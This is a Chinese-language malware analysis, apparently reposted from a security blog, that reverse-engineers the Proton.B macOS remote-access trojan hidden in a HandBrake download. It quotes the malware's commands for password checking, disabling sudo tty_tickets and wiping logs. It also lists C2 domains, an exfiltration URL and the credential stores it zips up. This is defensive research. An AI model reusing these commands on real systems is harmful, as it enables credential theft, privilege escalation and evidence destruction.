近期,黑客又开发出了一种Proton远程访问工具(RAT)的新型变种。Proton是一个针对macOS系统的恶意软件,它可以窃取密码、记录键盘按键数据和提取文件,攻击者甚至还可以利用它来远程登录目标主机。
写在前面的话
为了研究这个恶意软件变种,我下载了一个植入了Proton的HandBrake样本。这个样本感染的是Proton.B,也就是Proton的变种版本。我对该恶意软件的运行机制进行了分析,并使用逆向工程技术对其代码进行了研究。我通过研究发现,Proton的开发者使用了多种技术来干扰安全研究人员的分析,例如对字符串进行加密,以及在多个分散文件中存储恶意脚本代码等等。
注:HandBrake是目前一款非常流行的视频编码应用。安全专家Patrick在他所发表的文章中详细描述了攻击者如何将Proton嵌入了HandBrake之中,因此本文不再对其进行赘述。
Proton的工作机制
我们首先需要处理的恶意软件名为activity_agent。在反汇编工具中打开这个文件之后,你会发现它采用的编程语言为Objective-C,这也是macOS平台“原生”的编程语言,而很多其他的恶意软件使用的是C++或者是其他的一些跨平台方案(例如QT)。
接下来,我使用IDA Pro对文件的二进制源码进行了分析。在这个过程中,我发现了很多有意思的东西,例如SSH隧道技术等等,但是我在测试这个恶意软件样本的过程中却并没有看到SSH隧道技术的使用。
当文件被执行之后,它会解密一个名为“.hash”的文件,这个文件位于bundle下的Resources目录中。
这个文件中包含有大量字符串子集,而activity_monitor源码将会加载这些字符串数据,这也是很多恶意软件开发者为了躲避安全研究人员和反病毒产品的检测而经常会用到的一种简单的字符串隐藏技术。
解密完成之后,文件“.hash”中包含有下列数据:
我们可以看到文件中使用到了大量的“%@”,这是Objective-C特有的语句标识,表示的是NSSTRING。注:Objective-C用“%@”来格式化字符串。
当这个文件被执行之后,会弹出一个看似合法的对话框,并提示用户输入密码才可以安装HandBrake的应用组件,但对话框中的提示文本很明显就是文件“.hash”中的内容。
Mac用户在每一个对话框中输入密码之前,一定要三思而后行。因为通过对话框的形式来要求用户输入密码是一种非常常见的社会工程学技术,攻击者可以利用这种方法来欺骗用户交出自己的密码。大家也都知道,很多恶意软件攻击都会使用这种方法。由于绝大多数环境下目标用户都在sudoers列表之中,因此攻击者只要拿到了用户的密码,就可以将自己的权限提升到root。
当用户输入了自己的密码之后,该恶意软件会立刻通过下列命令检测密码的有效性:
‘/bin/sh’, ‘-c’,“echo ‘qwer1234’ | sudo -S echo success;”
验证成功之后的下一步就是通过下列命令禁用/etc/sudoers/中的“tty_tickets”功能:
‘/bin/sh’,‘-c’, ‘echo \’printf “\\033[8;1;1t”; echo “qwer1234” | sudo -S sh -c “echo\’Defaults !tty_tickets\’ >> /etc/sudoers”; killall Terminal; sleep 1;\’
tty_tickets是从macOS Sierra开始默认开启的一项功能,每当用户在一个单独的终端页面执行一个“sudo”命令时,它都会要求用户输入自己的密码。如果禁用了这项功能,那么用户只需要输入一次密码,就可以在多个新的终端窗口(tty)中执行“sudo”命令了。我认为,tty_tickets的禁用将会方便恶意软件的开发者执行脚本任务,因为只需要输入一次密码就可以在不同的终端窗口中执行sudo命令了。
当我在IDA Pro中查看activity_agent的字符串部分时,我迅速发现了一个公共密钥。
这个密钥会在下面这行命令中使用到:
‘/bin/sh’,‘-c’, “echo ‘—–BEGIN PUBLICKEY—–\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwUP19DdW2NlkkdovqqwF\n+r3sBaamka42zVMGa+COUCIysrVhVJIv4nmc57TLxgG8dsg+G0o0NQ75n898b04l\nYGve3gXGWJ8Y5OTJ16+RA4OtKAiO8v7qEGnQ/QpSzrLZPU3Yd60bAltYSvCCiOdB\nOKhOAiag0H39F2k5ea4zxt6TNDksW/o3+HcjzA4yy+C1tp2Cr4X37O5XMVZPWpMk\nsIXPazh91tr0TJ2VFyx4btnDPajeOzhcKUA05Wrw+hagAZnFU9Bajx3KvdTlxsVx\nLmRc5r3IqDAsXTHH1jpmWMDiC9IGLDFPrN6NffAwjgSmsKhi1SC8yFHh0oPCswRh\nrQIDAQAB\n—–ENDPUBLIC KEY—–‘ > /tmp/public.pem; openssl rsautl -verify -in/Users/test/Downloads/Proton/Proton.B/activity_agent.app/Contents/Resources/.tmpdata-pubin -inkey
/tmp/public.pem; openssl rsautl -verify -in/Users/test/Downloads/Proton/Proton.B/activity_agent.app/Contents/Resources/.tmpdata-pubin –inkey
密钥存储在/tmp/public.pem文件之中,当这个密钥存储完毕之后,恶意软件会解密一个名叫“.tmpdata”的文件,这个文件同样在Resources目录中。注:在macOS和Linux这种使用了POSI文件系统的平台中,文件名前面有”.”表示这是一个隐藏文件。
解密后的“.tmpdata”文件中包含有恶意软件的“许可证”(JSON格式),许可证数据为它的“有效期”以及各种校验码。
{“expiration_date”:”2017-05-1023:59:59 +0000″,”grace_period”:”25″,”bundle_name”:”chameleo”,”os_version”:”10.x”,”checksum”:”128814f2b057aef1dd3e00f3749aed2a81e5ed03737311f2b1faab4ab2e6e2fe”}
接下来,恶意软件会进行一次测试来确定已经成功接入了互联网。(与Google的DNS服务器-8.8.8.8建立一条TCP链接,时长20秒)
‘/bin/sh’,‘-c’, ‘nc -G 20 -z 8.8.8.8 53 >/dev/null 2>&1 && echo success’.
恶意软件还会尝试与下面列表中的其他域名进行连接:
handbrakestore.com
handbrake.cc
luwenxdsnhgfxckcjgxvtugj.com
6gmvshjdfpfbeqktpsde5xav.com
kjfnbfhu7ndudgzhxpwnnqkc.com
yaxw8dsbttpwrwlq3h6uc9eq.com
qrtfvfysk4bdcwwwe9pxmqe9.com
fyamakgtrrjt9vrwhmc76v38.com
kcdjzquvhsua6hlfbmjzkzsb.com
Ypu4vwlenkpt29f95etrqllq.com
随后恶意软件会检测当前的时间和日期,这里非常有意思,它好像并不信任目标设备上的设置,它会与外部服务器(Google主机)单独进行一次时间同步,很可能是因为攻击者想要防止研究人员对本地设备时钟动手脚。恶意软件通过创建一个新的环境变量$hcresult来获取时间和日期,这个变量可以存储Google返回的内容。执行命令如下:
hcresult=`curl -sL https://script.google.com/macros/s/AKfycbyd5AcbAnWi2Yn0xhFRbyzS4qMq1VucMVgVvhul5XqS9HkAyJY/exec`
接下来,恶意软件还会检测下列路径中的文件是否存在,如果存在,则说明Proton.B的安装已经完成。
~/Library/VideoFrameworks/.ptrun
如果许可证仍然有效,那么Proton.B将会创建一个新的目录:~/Library/Renderfiles,并将它的bundle文件拷贝到这个目录中,然后删除初始执行地址中的所有bundle。
接下来,它还会创建另一个目录:~/Library/VideoFrameworks。这个目录将会存储所有窃取来的数据,随后这些信息将会被发送给攻击者。
根据我的研究发现,它会窃取以下凭证:
1. Google Chrome资料和所有保存的密码,包括cookie、保存的表单数据和密码;
2. Safari资料和所有保存的密码,包括cookie、保存的表单数据和密码;
3. Firefox资料和所有保存的密码,包括cookie、保存的表单数据和密码;
4. Opera资料和所有保存的密码,包括cookie、保存的表单数据和密码;
5. 各种钥匙串数据;
6. 1Password数据库
每一个类别的密码将会保存在相应的zip文件中:
Chrome数据保存在CR_dif.zip中;
Firefoxs数据保存在FF.zip中;
Opera数据保存在OP.zip中;
下列目录中的钥匙串数据保存在KC.zip中:
/Library/Keychains
~/Library/keychain
下列目录中的Gnupg和iPassword数据保存在GNU_PW.zip中:
~/.gnupg
~/Library;/Application support/1Password 4
~/Library;/Application support/1Password 3.9
而所有的这些文件又会全部压缩到一个名叫Proton.zip的文件中,这个文件保存在~/Library/VideoFrameworks目录,随后会被发送给攻击者。
当所有的凭证数据压缩完成之后,恶意软件会使用“curl”将压缩包发送给攻击者-url: http://api.handbrake.biz/api/init:
当所有的压缩包创建完成之后,恶意软件还会执行多次“killall”命令并关闭下列应用进程:
Console
Terminal
Wireshark
这一步会大大增加研究人员对这款恶意软件的分析难度,一个简单的应对方案是使用tee命令将日志输出到其他文件,使用iTerm来代替Terminal(终端),然后使用tcpdump或Tshark来代替Wireshark。¯\_(ツ)_/¯
完成了上述的所有操作步骤之后,恶意软件会将其本身的bundle拷贝到~/Library/RenderFiles/activity_agent.app中,然后通过添加下列LaunchAgent来实现在目标设备中的持久化感染:~/Library/LaunchAgents/fr.handbrake.actibity_agent.plist。
当然了,没有清除日志记录的恶意软件不是一款好的恶意软件。Proton.B还会通过下列命令来清除系统的日志数据:
sudo -S rm -rf /var/log/* /Library/Logs/*
缓解方案
感染了Proton怎么办?如果你感觉你的凭证已经被攻击者窃取了,请尽快修改你所有的账户密码,包括所有的在线服务账号。
总结
目前,macOS平台上的绝大多数恶意软件进行的都是一些简单的恶意广告活动或攻击活动,而这也是我们第一次能够拿到一个真实的恶意软件样本并对其内部运行机制进行详细的分析。不过遗憾的是,在整个研究过程中我们没能到任何交互式命令的执行,而且也没有看到攻击者与我的研究机器初始化新的连接。
* 参考来源:cybereason, 转载自FreeBuf